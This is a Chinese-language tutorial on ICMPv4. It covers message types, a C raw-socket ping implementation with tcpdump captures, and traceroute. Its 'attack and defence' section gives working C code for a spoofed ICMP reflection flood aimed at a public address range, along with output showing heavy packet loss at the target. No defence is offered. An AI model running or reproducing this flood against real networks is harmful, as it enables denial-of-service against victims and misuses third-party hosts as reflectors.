ICMPv4 协议分析与实践
1. 概述
1.1 ICMP 简介
- ICMP(Internet Control Message Protocol) : 用于 IP 中发送控制消息(不可靠),提供可能发生在通信环境中的各种问题反馈,通常用于返回的错误信息或是分析路由。
- 依靠 IP 完成任务,但一般不用于在两点之间传输数据,通常不由网络程序直接使用,除了 ping 和 traceroute
1.2 ICMPv4 报文格式
类型 | 说明 | 代码 |
---|---|---|
3 | 目的不可达消息 | 0 网络不可达 1 主机不可达 2 协议不可达 3 端口不可达 4 需要分片,但是设置了 DF 5 源路由失败 |
5 | 重定向消息 | 0 对网络重定向 1 对主机重定向 2 对服务类型和网络重定向 3 对服务类型和主机重定向 |
8/0 | ping 请求和 ping 应答 | |
11 | 超时消息 | 0 传输超时,即 TTL 为 0(tracetoute 原理) 1 分片重组超时,重组定时器超时了,还有分片没到达 |
12 | 参数问题消息 | 0 IP 首部有问题,包括各种差错 1 缺少必需的选项(已废弃) 2 长度错误,总长度无效 |
1.3 不会产生 ICMPv4 报文的情况
- 源地址不是单个主机的数据报,即零地址、回环地址、广播地址或组播地址
- 目的地址是 IPv4 广播或组播地址
- ICMPv4 差错报文
- 不是第一个分片的其他分片
- 作为链路层广播的数据报
2. ICMPv4 编程
2.1 ping
- 通过计算 ICMP 的 echo 请求和 echo 应答报文的成功率和往返时间, 从而得到丢包率和网络时延
shell> cat icmp.h
#ifndef __icmp_h_
#define __icmp_h_
#define ICMP_ECHOREPLY 0 /* Echo Reply */
#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */
#define ICMP_SOURCE_QUENCH 4 /* Source Quench */
#define ICMP_REDIRECT 5 /* Redirect (change route) */
#define ICMP_ECHO 8 /* Echo Request */
#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */
#define ICMP_PARAMETERPROB 12 /* Parameter Problem */
#define ICMP_TIMESTAMP 13 /* Timestamp Request */
#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */
#define ICMP_INFO_REQUEST 15 /* Information Request */
#define ICMP_INFO_REPLY 16 /* Information Reply */
#define ICMP_ADDRESS 17 /* Address Mask Request */
#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */
#define NR_ICMP_TYPES 18
/* Codes for UNREACH. */
#define ICMP_NET_UNREACH 0 /* Network Unreachable */
#define ICMP_HOST_UNREACH 1 /* Host Unreachable */
#define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */
#define ICMP_PORT_UNREACH 3 /* Port Unreachable */
#define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */
#define ICMP_SR_FAILED 5 /* Source Route failed */
#define ICMP_NET_UNKNOWN 6
#define ICMP_HOST_UNKNOWN 7
#define ICMP_HOST_ISOLATED 8
#define ICMP_NET_ANO 9
#define ICMP_HOST_ANO 10
#define ICMP_NET_UNR_TOS 11
#define ICMP_HOST_UNR_TOS 12
#define ICMP_PKT_FILTERED 13 /* Packet filtered */
#define ICMP_PREC_VIOLATION 14 /* Precedence violation */
#define ICMP_PREC_CUTOFF 15 /* Precedence cut off */
#define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */
/* Codes for REDIRECT. */
#define ICMP_REDIR_NET 0 /* Redirect Net */
#define ICMP_REDIR_HOST 1 /* Redirect Host */
#define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */
#define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */
/* Codes for TIME_EXCEEDED. */
#define ICMP_EXC_TTL 0 /* TTL count exceeded */
#define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */
struct icmphdr {
unsigned char type;
unsigned char code;
unsigned short checksum;
union {
struct {
unsigned short id;
unsigned short seq;
} echo;
unsigned int gateway;
struct {
unsigned short unused;
unsigned short mtu;
} frag;
unsigned char reserved[4];
} un;
};
struct icmphdr* icmp_alloc_echo_datagram(unsigned short id, unsigned seq);
void icmp_free_datagram(struct icmphdr **icmp);
void icmp_print_echo(const struct icmphdr *icmp);
int icmp_socket();
ssize_t icmp_send(int sockfd, struct icmphdr *icmp, size_t size,
const char *daddr, int flags);
ssize_t icmp_recv(int sockfd, void *buf, size_t size,
const char *daddr, int flags);
void icmp_close(int sockfd);
#endif /* __icmp_h_ */
shell> cat icmp.c
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "icmp.h"
#include "cksum.h"
#include "common.h"
struct icmphdr* icmp_alloc_echo_datagram(unsigned short id, unsigned seq)
{
struct icmphdr *icmp;
icmp = (struct icmphdr *) calloc(1, sizeof(struct icmphdr));
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = htons(id);
icmp->un.echo.seq = htons(seq);
// 如果带有数据,要连同数据一起计算校验和
icmp->checksum = 0; // 确保检验和为 0
icmp->checksum = cksum((uint16_t *) icmp, sizeof(struct icmphdr));
return icmp;
}
void icmp_free_datagram(struct icmphdr **icmp)
{
if (NULL != icmp && NULL != *icmp) {
free(*icmp);
*icmp = NULL;
}
}
void icmp_print_echo(const struct icmphdr *icmp)
{
printf("%02x\n", icmp->type);
printf("%02x\n", icmp->code);
printf("%04x\n", icmp->checksum);
printf("%04x\n", ntohs(icmp->un.echo.id));
printf("%04x\n", ntohs(icmp->un.echo.seq));
}
int icmp_socket()
{
int sockfd, size;
if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1)
handle_error("socket");
// 增大接收缓冲区, 防止 ping 广播地址时溢出
size = 128 * 1024;
if (setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, &size, sizeof(size)))
handle_error("setsockopt : SO_RCVBUF");
return sockfd;
}
ssize_t icmp_send(int sockfd, struct icmphdr *icmp, size_t size,
const char *daddr, int flags)
{
ssize_t count;
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
inet_pton(addr.sin_family, daddr, &addr.sin_addr);
if ((count = sendto(sockfd, icmp, size, flags, (struct sockaddr *)&addr, sizeof(addr))) == -1)
handle_error("sendto");
return count;
}
ssize_t icmp_recv(int sockfd, void *buf, size_t size,
const char *daddr, int flags)
{
ssize_t count;
socklen_t socklen;
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
inet_pton(addr.sin_family, daddr, &addr.sin_addr);
socklen = sizeof(addr);
if ((count = recvfrom(sockfd, buf, size, flags, (struct sockaddr *)&addr, &socklen)) == -1)
handle_error("recvfrom");
return count;
}
void icmp_close(int sockfd)
{
if (close(sockfd) == -1)
handle_error("close");
}
shell> cat main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "ipv4.h"
#include "icmp.h"
#define BUFFER_SIZE 1500
static void icmp_ping(const char *addr)
{
int sockfd;
struct icmphdr *icmp;
struct ipv4_hdr *ipv4;
char buffer[BUFFER_SIZE];
sockfd = icmp_socket();
// 发送消息
icmp = icmp_alloc_echo_datagram(0x0001, 0x0009);
icmp_send(sockfd, icmp, sizeof(struct icmphdr), addr, 0);
icmp_free_datagram(&icmp);
// 接收消息
memset(buffer, 0, BUFFER_SIZE);
icmp_recv(sockfd, buffer, BUFFER_SIZE, addr, 0);
// 解析消息
ipv4 = (struct ipv4_hdr *) buffer;
icmp = (struct icmphdr *) (buffer + ipv4->ihl * 4);
icmp_print_echo(icmp);
icmp_close(sockfd);
}
int main(int argc, char *argv[])
{
icmp_ping("192.168.2.200");
return 0;
}
192.168.2.200 > sudo tcpdump -nt -XX icmp
IP 192.168.2.100 > 192.168.2.200: ICMP echo request, id 1, seq 9, length 8
0x0000: 000d 0d0d 0d0d 000c 0c0c 0c0c 0800 4500 ..............E.
0x0010: 001c 0c33 4000 4001 a831 c0a8 0264 c0a8 ...3@.@..1...d..
0x0020: 02c8 0800 f7f5 0001 0009 0000 0000 0000 ................
0x0030: 0000 0000 0000 0000 0000 0000 ............
IP 192.168.2.200 > 192.168.2.100: ICMP echo reply, id 1, seq 9, length 8
0x0000: 000c 0c0c 0c0c 000d 0d0d 0d0d 0800 4500 ..............E.
0x0010: 001c acd0 0000 4001 4794 c0a8 02c8 c0a8 ......@.G.......
0x0020: 0264 0000 fff5 0001 0009 .d........
192.168.2.100 > make run
2.2 traceroute
- 当 TTL 为 0 时,路由器会丢弃该数据包,不再转发,并发送一个超时 ICMP 报文给源主机,通过不断累加 TTL,从而逐步确定下一跳路由器
- 当 UDP 数据报到达最终目的地时,返回一个 ICMP 端口不可达错误,这个端口是随机的,如果目的主机使用了怎么办?
3. ICMPv4 攻防
3.1 ICMP 洪水攻击(ddos)
- 通过伪装成目标机向外发送大量 ICMP echo 请求,导致目标机收到大量的 ICMP echo reply,造成网络故障
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "ipv4.h"
#include "icmp.h"
static void icmp_ddos(const char *netsegment, const char *target)
{
int sockfd;
unsigned int num = 0;
struct icmphdr *icmp;
struct ipv4_hdr *ipv4;
unsigned short tot_len;
sockfd = ipv4_socket();
tot_len = sizeof(struct ipv4_hdr) + sizeof(struct icmphdr);
// 伪装成目标机对外发送 ICMP echo 消息
icmp = icmp_alloc_echo_datagram(0x0001, 0x0009);
ipv4 = ipv4_alloc_packet(tot_len, 0x0001, IP_PROTO_ICMP, target, netsegment, icmp, sizeof(struct icmphdr));
// 循环给网段内所有机器发送
while (++num) {
ipv4->daddr = (ipv4->daddr & 0x00FFFFFF) | (num % 255 << 24);
ipv4_send(sockfd, ipv4, tot_len, netsegment, 0);
printf("%d\n", ipv4->daddr >> 24);
}
icmp_free_datagram(&icmp);
ipv4_free_packet(&ipv4);
icmp_close(sockfd);
}
int main(int argc, char *argv[])
{
// 通过外网 39.156.69.0 网段攻击目标机
icmp_ddos("39.156.69.79", "192.168.2.200");
return 0;
}
192.168.2.200 > ping baidu.com
PING baidu.com (220.181.38.148) 56(84) bytes of data.
64 bytes from 220.181.38.148 (220.181.38.148): icmp_seq=1 ttl=127 time=36.6 ms
64 bytes from 220.181.38.148 (220.181.38.148): icmp_seq=2 ttl=127 time=36.4 ms
^C
--- baidu.com ping statistics ---
7 packets transmitted, 2 received, 71% packet loss, time 6085ms # 出现大量丢包
rtt min/avg/max/mdev = 36.412/36.507/36.603/0.213 ms
192.168.2.100 > make run
3.2 ICMP 分片攻击(待补充)
参考链接
https://tools.ietf.org/html/rfc792
https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol
https://www.cnblogs.com/skyfsm/p/6395953.html